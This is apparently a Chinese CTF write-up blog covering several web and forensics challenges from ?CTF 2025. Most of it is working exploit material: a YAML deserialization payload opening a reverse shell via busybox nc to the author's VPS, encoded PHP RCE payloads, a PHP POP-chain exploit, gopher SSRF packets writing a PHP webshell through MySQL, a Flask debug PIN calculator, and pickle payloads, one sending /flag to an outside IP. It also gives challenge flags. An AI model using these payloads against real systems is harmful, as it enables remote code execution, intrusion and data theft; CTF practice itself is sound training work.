admin_pass = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
JWT_ALGORITHM = 'HS256'

USERS = {'admin': admin_pass,'user':'pass'}

def generate_token(username):
payload = {'username': username, 'exp': datetime.utcnow() + timedelta(hours=24)}
return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)

def verify_token(token):
try:
payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])
return payload['username']
except Exception:
return None

def login_required(f):
@wraps(f)
def wrapper(*args, **kwargs):
token = request.headers.get('Authorization')
if not token or not token.startswith('Bearer '):
return jsonify({'error': 'Token missing'}), 401
username = verify_token(token[7:])
if not username:
return jsonify({'error': 'Invalid token'}), 401
request.current_user = username
return f(*args, **kwargs)
return wrapper

@app.route('/')
def index():
return render_template_string('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>MySQL 登录</title>
<style>
body {font-family:sans-serif;background:linear-gradient(135deg,#667eea,#764ba2);display:flex;justify-content:center;align-items:center;height:100vh;margin:0;}
.login-container {background:white;padding:40px;border-radius:12px;box-shadow:0 10px 25px rgba(0,0,0,.1);width:360px;text-align:center;}
input{width:100%;padding:10px;margin:8px 0;border:1px solid #ccc;border-radius:6px;}
button{width:100%;padding:10px;background:#667eea;color:white;border:none;border-radius:6px;cursor:pointer;}
.error{color:#e74c3c;font-size:14px;}
.success{color:#27ae60;font-size:14px;}
</style>
</head>
<body>
<div class="login-container">
<h2>🔐 MySQL 管理登录</h2>
<form id="f">
<input id="username" placeholder="用户名" required>
<input id="password" type="password" placeholder="密码" required>
<button type="submit">登录</button>
<div id="msg"></div>
</form>
</div>
<script>
document.getElementById('f').addEventListener('submit', async e=>{
e.preventDefault();
const res = await fetch('/login',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({
username:username.value,password:password.value
})});
const data = await res.json();
const msg=document.getElementById('msg');
if(data.success){
localStorage.setItem('token',data.token);
msg.innerHTML='<div class="success">登录成功!</div>';
setTimeout(()=>location.href='/test',1000);
}else{
msg.innerHTML='<div class="error">'+data.error+'</div>';
}
});
</script>
</body>
<!-- user/pass --></html>
''')

@app.route('/login', methods=['POST'])
def login():
data = request.get_json()
username, password = data.get('username'), data.get('password')
if username in USERS and USERS[username] == password:
token = generate_token(username)
return jsonify({'success': True, 'token': token})
return jsonify({'success': False, 'error': '用户名或密码错误'})

@app.route('/test')
def mysql_test_page():
return render_template_string('''
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><title>MySQL 连接测试</title>
<style>
body{font-family:sans-serif;background:#f5f7fa;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;}
.container{background:white;padding:30px;border-radius:10px;box-shadow:0 2px 10px rgba(0,0,0,.1);width:360px;}
input{width:100%;padding:8px;margin-top:5px;border:1px solid #ccc;border-radius:5px;}
button{width:100%;padding:10px;margin-top:15px;background:#007bff;color:white;border:none;border-radius:5px;cursor:pointer;}
#out{margin-top:15px;font-family:monospace;white-space:pre-line;}
</style>
</head>
<body>
<div class="container">
<h3>🧩 测试 MySQL 连接</h3>
<form id="f">
<input name="host" placeholder="Host" value="127.0.0.1">
<input name="port" placeholder="Port" value="3306">
<input name="user" placeholder="User" value="root">
<input name="password" placeholder="Password" type="password">
<input name="db" placeholder="Database" value="mysql">
<button type="button" onclick="test()">测试连接</button>
</form>
<pre id="out"></pre>
</div>
<script>
const token = localStorage.getItem('token');
if(!token) location.href='/';
async function test(){
const out=document.getElementById('out');
out.textContent='正在测试...';
let data=Object.fromEntries(new FormData(f).entries());
try{
let res=await fetch('/test_mysql',{method:'POST',headers:{
'Content-Type':'application/json','Authorization':'Bearer '+token
},body:JSON.stringify(data)});
let j=await res.json();
out.style.color=j.success?'green':'red';
out.textContent=j.success?'连接成功!':'连接失败\\n'+(j.error||'');
}catch(e){out.textContent='请求出错:'+e;}
}
</script>
</body></html>
''')

@app.route('/test_mysql', methods=['POST'])
@login_required
def test_mysql():
if request.current_user != 'admin':
return jsonify({"success": False, "error": "权限不足,只有 admin 可以测试 MySQL 连接"}), 403
data = request.get_json() or {}
for k in ("host", "port", "user", "password", "db"):
if k not in data:
return jsonify({"success": False, "error": f"缺少字段: {k}"})
try:
conn = MySQLdb.connect(
host=data["host"],
port=int(data["port"]),
user=data["user"],
passwd=data["password"],
db=data["db"],
connect_timeout=5,
charset='utf8mb4',
local_infile=1,
ssl=None
)
cur = conn.cursor()
cur.execute("SELECT 1")
cur.close()
conn.close()

return jsonify({"success": True})
except MySQLdb.Error as e:
return jsonify({"success": False, "error": str(e)})
except Exception as e:
return jsonify({"success": False, "error": f"其他错误: {e}"})

@app.route('/uneed1t', methods=['GET'])
def uneed1t():
data = request.args.get('data', '')
if data == '':
return jsonify({"result": "null"})
try:

black_list = [
"system", "popen", "run", "os"
]

for forb in black_list:
if forb in data:
return jsonify({"result":"error"})

yaml.load(data, Loader=yaml.Loader)

return jsonify({"result": "ok"})
except Exception as e:
return jsonify({"result":"error"})

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)

观察/uneed1t路由,存在yaml.Loader任意命令执行,有黑名单,使用subprocess.call。

1
!!python/object/apply:subprocess.call [['/bin/busybox','nc','vps的ip地址','nc监听端口','-e','/bin/sh']]

在vps上开个端口监听,准备接收反弹的shell

1
sudo nc -lvnp 80    # 懒的去vps服务商后台放行端口
1
2
ls /
cat fl1lag.txt

GooooD,二血。

弯路明天(今天)再写,他喵的,搞了三天。

弯路探索:

一开始有两种思路,sql inject、jwt,要搞到admin,然后后面是个命令拼接,“;”应该可以rce

尝试JWT改头HS256->None,改body,删签名,但invalid token,不会要hashmap吧?(这里就该尝试jwtcrack了,硬生生搞了一天半)

登陆进去后,以为是mysql-connector-java,尝试jdbc,屁用没有(报错信息一眼python。。。)

想覆盖socket,host置空,然后socket去读取flag

看学长blog发现pickle反序列化

上一天课了[表情]又试了ssti[表情]还试了mysql.connector的其他参数注入[表情]下一步可能尝试cookie投毒[表情]Rogue server应该还用不上吧[表情] (事实上rogue server是对的)

好的那就这样了。

[Week3] ezphp

(未解出)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155

https://www.freebuf.com/articles/web/321769.html

PHP变量名由数字字母下划线组成,是没有.的 我从大佬的文章了解到,GET或POST方式传进去的变量名,会自动将空格 + . [转换为_。

有一种特殊情况,GET或POST方式传参时,变量名中的 [ 也会被替换为_,但其后的字符就再进行替换了
如 CTF[SHOW.COM => CTF_SHOW.COM


c1n[y0.u g3t+fl&g?=a
http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=a

http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=%93^%FF%8C^%FF%20%2F%3E%87^%FF


ls />abc

curl

%81^%FF=>~ %82^%FF=>} %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?


http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%8F%97%8F%96%91%99%90)();

http://challenge.ilovectf.cn:30655/?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%8F%97%8F%96%91%99%90)();


%8F%97%8F%96%91%99%90

http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%93%8C%DF%D0%C1%DF%92%92)

system

exec
(~%9A%87%9A%9C)(~%93%8C);

exec >a
(~%9A%87%9A%9C)(~%C1%9E);

echo
(~%9A%9C%97%90)(~%C1%9E);

`$_GET[c]`
%9F%DB%A0%B8%BA%AB%A4%9C%A2%9F

`$_GET[c]`;
~%9F%DB%A0%B8%BA%AB%A4%9C%A2%9F%C4

(~%9F%DB%A0%B8%BA%AB%A4%9C%A2%9F);

(~%DB%A0%B8%BA%AB%A4%9C%A2);

exec($_GET[c])
%9A%87%9A%9C%D7%DB%A0%B8%BA%AB%A4%9C%A2%D6

>a
(~%C1%9E)

echo
%9A%9C%97%90


%C2%93%C2%8C%C3%9F%C3%92%C2%93%C2%9E

https://cloud.tencent.com/developer/article/2288274


curl -X POST "http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=%DB%A0%AF%B0%AC%AB%A4%A0%A2" -d "_=readfile('flag.php');"

%DB%A0%B8%BA%AB%A4%A0%A2

?c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%8C%86%8C%8B%9A%92)(~%93%8C);
system ls

http://challenge.ilovectf.cn:30655/?0='phpinfo();'&c1n%5By0.u%20g3t%2Bfl%26g%3F=(~%DB%A0%B8%BA%AB%A4%CF%A2)();


http://challenge.ilovectf.cn:30750/?c1n%5By0.u%20g3t%2Bfl%26g%3F=$_=~%8f%97%8c%8c%9a%92;$_();

eval($_GET['_'])


${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

${(~%A0%B8%BA%AB)}[%21]();&%21=phpinfo


${~%A0%B8%BA%AB}{_}();&_=phpinfo


${~%A0%B8%BA%AB}{_};&_=phpinfo();

${~%A0%B8%BA%AB}{_};&_=phpinfo();


${~%A0%B8%BA%AB}{_}(${~%A0%B8%BA%AB}{__});&_=system&__=ls

?_[0]=system&_[1]=ls%20-la

${~%A0%B8%BA%AB};&_[0]=system&_[1]=>a

`{${~%A0%B8%BA%AB}[_]}`;&_=>a

`${~%A0%B8%BA%AB}[_]`;&_=>a

`{${~%A0%B8%BA%AB}[_]}`;&_=>a 16字符

_GET[_]
%A0%B8%BA%AB%A4%A0%A2
`${~%A0%B8%BA%AB%A4%A0%A2}`;&_=>a

$_GET[_]
%DB%A0%B8%BA%AB%A4%A0%A2
`{~%DB%A0%B8%BA%AB%A4%A0%A2}`;&_=>a

a=`${~%A0%B8%BA%AB[_]}`;&_=>a 16字符

`{$_GET[_]}`;

${~%A0%B8%BA%AB}[_];&_=>a

${${~%A0%B8%BA%AB}[_]};&_=>a


`(~%C1%9E)`

`~%9C%86`;


`${_}`;&_=>a

$_=`${_}`;&_=>a

`$_GET[_]`&_=ls

[Week4] Path to Hero

PHP反序列化POP链,最终需要利用Treasure 类里的 eval() 函数

unserialize() → Start::__wakeup() → Sword::__get() → Mon3tr::__toString() → Treasure::__call() → eval()

看不懂思密达,交给ai分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
原理与绕过

入口: 反序列化一个Start对象触发__wakeup。设置$ishero为包含"hero"但不等于"hero"的字符串即可进入利用链。

跳转到Sword: 在Start对象中,将$adventure属性设置为一个Sword对象。访问其不存在的sword属性,自动触发Sword的__get方法。

MD5绕过: 在Sword对象中,为满足md5($a) == md5($b)的弱类型比较,给$test1和$test2赋两个MD5哈希值以"0e"开头的不同字符串。

跳转到Mon3tr: 在Sword对象中,将$go属性设置为一个Mon3tr对象。echo该对象时,自动触发Mon3tr的__toString方法。

黑名单绕过与RCE: 在Mon3tr对象中,$end属性即为最终要执行的代码。为绕过preg_match对"flag"等关键字的检测,不能直接写readfile('/flag')。

Payload: 使用 readfile(glob("/*")[0]); 或 readfile(base64_decode('L2ZsYWc=')); 这样的方式构造命令,即可在不出现关键字的情况下读取/flag文件。

最终,将构造好的Start对象序列化后提交,即可触发整条链,成功执行代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

class Start {
public $ishero;
public $adventure;
}

class Sword {
public $test1;
public $test2;
public $go;
}

class Mon3tr {
// private $result; // 在构造 payload 时不需要关心私有属性
public $end;
}

class Treasure {
// 无需实例化,在链中自动创建
}

// 1. 创建最终执行命令的 Mon3tr 对象
$monster = new Mon3tr();
// Payload: 先用 scandir 看一下当前目录有什么文件
//$monster->end = "print_r(scandir('/'));";
// 尝试读取 flag:
$monster->end = "readfile(base64_decode('L2ZsYWc='));";

// 2. 创建 Sword 对象
$sword = new Sword();
$sword->test1 = "s878926199a";
$sword->test2 = "s155964671a";
$sword->go = $monster; // 链接到 Mon3tr 对象

// 3. 创建入口 Start 对象
$start = new Start();
$start->ishero = "superhero"; // 绕过 hero 检查
$start->adventure = $sword; // 链接到 Sword 对象

// 4. 序列化并输出 payload
$payload = serialize($start);
echo urlencode($payload);

?>

使用$monster->end = "print_r(scandir('/'));";可以列出/下的目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</code><br>勇者啊,去寻找利刃吧<br>沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>到此为止了!魔王<br>结束了?<br>Array
(
[0] => .
[1] => ..
[2] => .dockerenv
[3] => bin
[4] => dev
[5] => etc
[6] => flag
[7] => home
[8] => init.sh
[9] => lib
[10] => media
[11] => mnt
[12] => proc
[13] => root
[14] => run
[15] => sbin
[16] => srv
[17] => sys
[18] => tmp
[19] => usr
[20] => var
)
<br>
1
2
3
4
5
6
(base) ➜ php gen_payload.php
O%3A5%3A%22Start%22%3A2%3A%7Bs%3A6%3A%22ishero%22%3Bs%3A9%3A%22superhero%22%3Bs%3A9%3A%22adventure%22%3BO%3A5%3A%22Sword%22%3A3%3A%7Bs%3A5%3A%22test1%22%3Bs%3A11%3A%22s878926199a%22%3Bs%3A5%3A%22test2%22%3Bs%3A11%3A%22s155964671a%22%3Bs%3A2%3A%22go%22%3BO%3A6%3A%22Mon3tr%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A36%3A%22readfile%28base64_decode%28%27L2ZsYWc%3D%27%29%29%3B%22%3B%7D%7D%7D%
(base) ➜ curl -X POST -d "HERO=O%3A5%3A%22Start%22%3A2%3A%7Bs%3A6%3A%22ishero%22%3Bs%3A9%3A%22superhero%22%3Bs%3A9%3A%22adventure%22%3BO%3A5%3A%22Sword%22%3A3%3A%7Bs%3A5%3A%22test1%22%3Bs%3A11%3A%22s878926199a%22%3Bs%3A5%3A%22test2%22%3Bs%3A11%3A%22s155964671a%22%3Bs%3A2%3A%22go%22%3BO%3A6%3A%22Mon3tr%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A36%3A%22readfile%28base64_decode%28%27L2ZsYWc%3D%27%29%29%3B%22%3B%7D%7D%7D" http://challenge.ilovectf.cn:30147/index.php

(省略html...)
</code><br>勇者啊,去寻找利刃吧<br>沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>到此为止了!魔王<br>结束了?<br>flag{da7e7519-a83f-4e8a-86bc-751e44439d35}<br>%

[Week4] android or apple

施工区域⚠️

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
curl http://challenge.ilovectf.cn:30345/verify.php -H "X-VERIFY-CODE-URL: http://120.26.146.96"

(base) ➜ ~ curl challenge.ilovectf.cn:30489/verify.php -H "X-VERIFY-CODE-URL: dict://120.26.146.96:80/helo:dict"
<p>本次登录的验证码为:</p><img src="./images/2163fd445aa83a43ef4dc9b40097725a.bin" alt="Verification Code"/>%
(base) ➜ ~ curl challenge.ilovectf.cn:30489/verify.php -H "X-VERIFY-CODE-URL: gopher://120.26.146.96:80/helo:gopher"

<?php @eval($_GET['a']) ?>

http://challenge.ilovectf.cn:30489/composer.json
http://challenge.ilovectf.cn:30489/composer.lock

[14:30:35] 200 - 8KB - /www.zip
他喵的这才是真的src

http://challenge.ilovectf.cn:30489/images/a16928e3e14ede05b2eab5b54e67fb2f.bin

(base) ➜ ~ curl challenge.ilovectf.cn:30489/verify.php \
-H "X-VERIFY-CODE-URL: gopher://127.0.0.1:3306"
(base) ➜ ~ curl "http://challenge.ilovectf.cn:30489/images/181dd1f033da1992bfe13f1ba8f94510.bin"

[
5.7.42-0ubuntu0.18.04.1?c=@BaÿÿÿÁ,XUi}1z;/5mysql_native_password


curl challenge.ilovectf.cn:30489/verify.php \
-H "X-VERIFY-CODE-URL: gopher://127.0.0.1:3306/_%a3%00%00%01%85%a2%1a%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%57%00%00%00%03%53%45%4c%45%43%54%20%27%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%39%38%38%32%32%5f%52%45%51%55%45%53%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%01%00%00%00%01"

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a2%1a%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%57%00%00%00%03%53%45%4c%45%43%54%20%27%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%39%38%38%32%32%5f%52%45%51%55%45%53%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%01%00%00%00%01

[Week4] 来getshell 速度!

[Week4] 好像什么都能读

提示:不会告诉你可能要算些什么(bushi。

那么很明显,要算flask的debug pin了,读取以下文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/home/ctf/app/app.py
成功:app.py 的内容
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/')
def hello_world():
return render_template('index.html')

@app.route('/read')
def read():
# 获取请求参数中的文件名
filename = request.args.get('filename')
if not filename:
return "需要提供文件名", 400
with open(filename, 'r') as file:
content = file.read()
return content, 200

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)

运行用户
ctf

成功:/sys/class/net/eth0/address 的内容
26:c5:81:cb:dc:78

成功:/proc/sys/kernel/random/boot_id 的内容
89b34b88-6f33-4c4b-8a30-69a4ba41fd0e

成功:/proc/self/cgroup 的内容
0::/

用不知道哪个博客抄来的奇妙小脚本算出pin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import hashlib
from itertools import chain


def mac_10():
"""
/sys/class/net/eth0/address mac地址十进制
:return:
"""
mac_address = "26:c5:81:cb:dc:78"
# 将MAC地址视为一个十六进制数(去掉冒号)
value = int(mac_address.replace(":", ""), 16)
return str(value)


probably_public_bits = [
'ctf' # username
'flask.app', # modname
'Flask', # appname
'/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' # moddir
]

machine_id = ''
boot_id = '89b34b88-6f33-4c4b-8a30-69a4ba41fd0e'
c_group = '0::/'

id = ''
if machine_id:
id += machine_id.strip()
else:
id += boot_id.strip()
id += c_group.strip().rpartition('/')[2]

private_bits = [
mac_10(), # mac地址
id #machin-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)
# 145-175-537

然后随便导致一个报错http://challenge.ilovectf.cn:30029/read?filename=a,点击console按钮就可以啦,wait,为什么没有console按钮?!

这个其实我之前玩flask的时候就被坑过,当时在树莓派上部署flask,电脑根本打不开debug console,因为需要本地请求。(我看好多博客都没写啊,他们难道用的都是旧版本?)那么思路很清晰,就是修改请求头Host为127.0.0.1,但我搞了一上午😓,最后发现是路由器丢包,js没传过来,而且加载巨慢,一度怀疑是不是本地回环了💦。结果换成热点立马好了。。。也算长了点教训。

flask_debug_console

还有还有,一开始用Reqable添加Header,导致实际上有两个Host,也坑了半天。。。

[Week4] 这又又是什么函数

没见过?搜一下!在/flag

提示/src,访问获得src:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flask import Flask, request, render_template
import pickle
import base64

app = Flask(__name__)

PICKLE_BLACKLIST = [
b'eval',
b'os',
b'x80',
b'before',
b'after',
]

@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')

@app.route('/src', methods=['GET', 'POST'])
def src():
return open(__file__, encoding="utf-8").read()

@app.route('/deser', methods=['GET', 'POST'])
def deser():
a = request.form.get('a')
if not a:
return "fail"

try:
decoded_data = base64.b64decode(a)
print(decoded_data)
except:
return "fail"

for forbidden in PICKLE_BLACKLIST:
if forbidden in decoded_data:
return "waf"

try:
result = pickle.loads(decoded_data)
return "done"
except:
return "fail"

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

考虑pickle反序列化

1
2
3
4
5
6
7
8
9
10
import pickle
import base64

class Exploit:
def __reduce__(self):
return (__builtins__.open, ('/flag',))

payload = pickle.dumps(Exploit(), protocol=0)
encoded = base64.b64encode(payload).decode()
print(encoded)

curl -X POST http://challenge.ilovectf.cn:30051/deser -d 'a=PAYLOAD'
提示done,但没有回显,考虑通过vps外带

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import base64

# 外带数据到 120.26.146.96:80
class Exploit:
def __reduce__(self):
code = "import urllib.request;urllib.request.urlopen('http://120.26.146.96/?flag='+open('/flag').read())"
return (exec, (code,))

payload = pickle.dumps(Exploit(), protocol=0)
encoded = base64.b64encode(payload).decode()
print(encoded)

响应特别慢,然后返回fail,疑似无外网,timeout

尝试写入src末尾

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import base64

# 将 flag 写入到 app.py 末尾
class Exploit:
def __reduce__(self):
# 读取 flag 并追加到 app.py
code = "open('/home/ctf/app/app.py','a').write('\\n# FLAG: '+open('/flag').read()+'\\n')"
return (exec, (code,))

payload = pickle.dumps(Exploit(), protocol=0)
encoded = base64.b64encode(payload).decode()
print(encoded)
1
curl -X POST http://challenge.ilovectf.cn:30051/deser -d 'a=Y19fYnVpbHRpbl9fCmV4ZWMKcDAKKFZvcGVuKCcvaG9tZS9jdGYvYXBwL2FwcC5weScsJ2EnKS53cml0ZSgnXHUwMDVjbiMgRkxBRzogJytvcGVuKCcvZmxhZycpLnJlYWQoKSsnXHUwMDVjbicpCnAxCnRwMgpScDMKLg=='

哦吼!app_py

home/ctf/app/app.py是猜的,但之前的一直是这个路径。

[Week4] 布豪有黑客 Pro

这题没有按照标准解法来,首先进行了取证,PE删密码。按照题目信息去搜索。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Info: 欢迎来到 ?CTF 2025 Pro Max!目前有 1 个题组。
Info: 初来乍到,输入 help 获取使用帮助。
NekoChecker [/] > show 0

Info: 题组: Forensics - 布豪有黑客 Pro (已完成 0/7)
Info: [-] 0. 攻击者在Web服务中新增的用户名是什么
Info: [.] 格式:flag{username}
用到nacos的CVE-2021-29441,其实标准解法应该就是fscan扫出这个漏洞
flag{nacosuser}

Info: [-] 1. 攻击者通过数据库获取的权限是什么
Info: [.] 格式:flag{whoami命令的执行结果}
这个猜也能猜到
flag{nt service\mssqlserver}

Info: [-] 2. 攻击者使用的提权工具md5值是什么
Info: [.] 格式:flag{md5(提权工具.exe)} (以CyberChef的32位小写md5为准)
混淆过的SweetPotato,在E:\apps\MicrosoftEdgeSetup.exe,其实右键属性就能看到原来的名字,cmd里运行一下也能知道。
flag{a1f2228e53dc42d454e67abe17947cfc}

Info: [-] 3. 攻击者留下的系统后门用户用户名是什么
Info: [.] 格式:flag{username}
隐藏用户,我是PE里看的。
flag{C4ngH$}

Info: [-] 4. 攻击者留下的木马本体的完整路径及文件名是什么
Info: [.] 格式:flag{C:\Windows\win.ini} (路径使用单个反斜杠)
并不是E:\apps\huorong_setup.exe,那是一个Go写的加载器,加载下面这个bin到内存实现免杀。
flag{E:\apps\WindowsBackup.bin}

Info: [-] 5. 攻击者留下木马的回连IP和Port是什么
Info: [.] 格式:flag{IP:Port}
用netstat -ano,不要傻乎乎地去逆向💦
flag{117.72.220.129:15000}

Info: [-] 6. 攻击者权限维持过程中留下的敏感信息是什么
Info: [.] 格式:flag{一段有语义的字符}
muma的描述文本
flag{Th4t_1s_tru1y_brilli4nt}

muma

SweetPotato

netstat

其实可以看access_log获取思路,比如这个就提示了nacos的cve利用。

1
2
192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "POST /nacos/v1/auth/users?username=vizdhlitperkwrlq&password=aevuzojctjhffmpj HTTP/1.1" 200 63 94 Nacos-Server -
192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "DELETE /nacos/v1/auth/users?username=vizdhlitperkwrlq HTTP/1.1" 200 63 15 Nacos-Server -

这个就展示了mssql report server的漏洞,同样也是本题的解法之一。

1
2
3
192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "GET /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1" 404 431 0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 -
192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "GET /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1" 404 431 0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 -
192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "GET / HTTP/1.1" 404 431 0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 -

nacos方面,参考这篇文章,主要就是改ua为``:

1
https://www.cnblogs.com/haiyoyo/p/17151189.html
1
2
3
http://192.168.136.2:8848/nacos/v1/auth/users?pageNo=1&pageSize=100

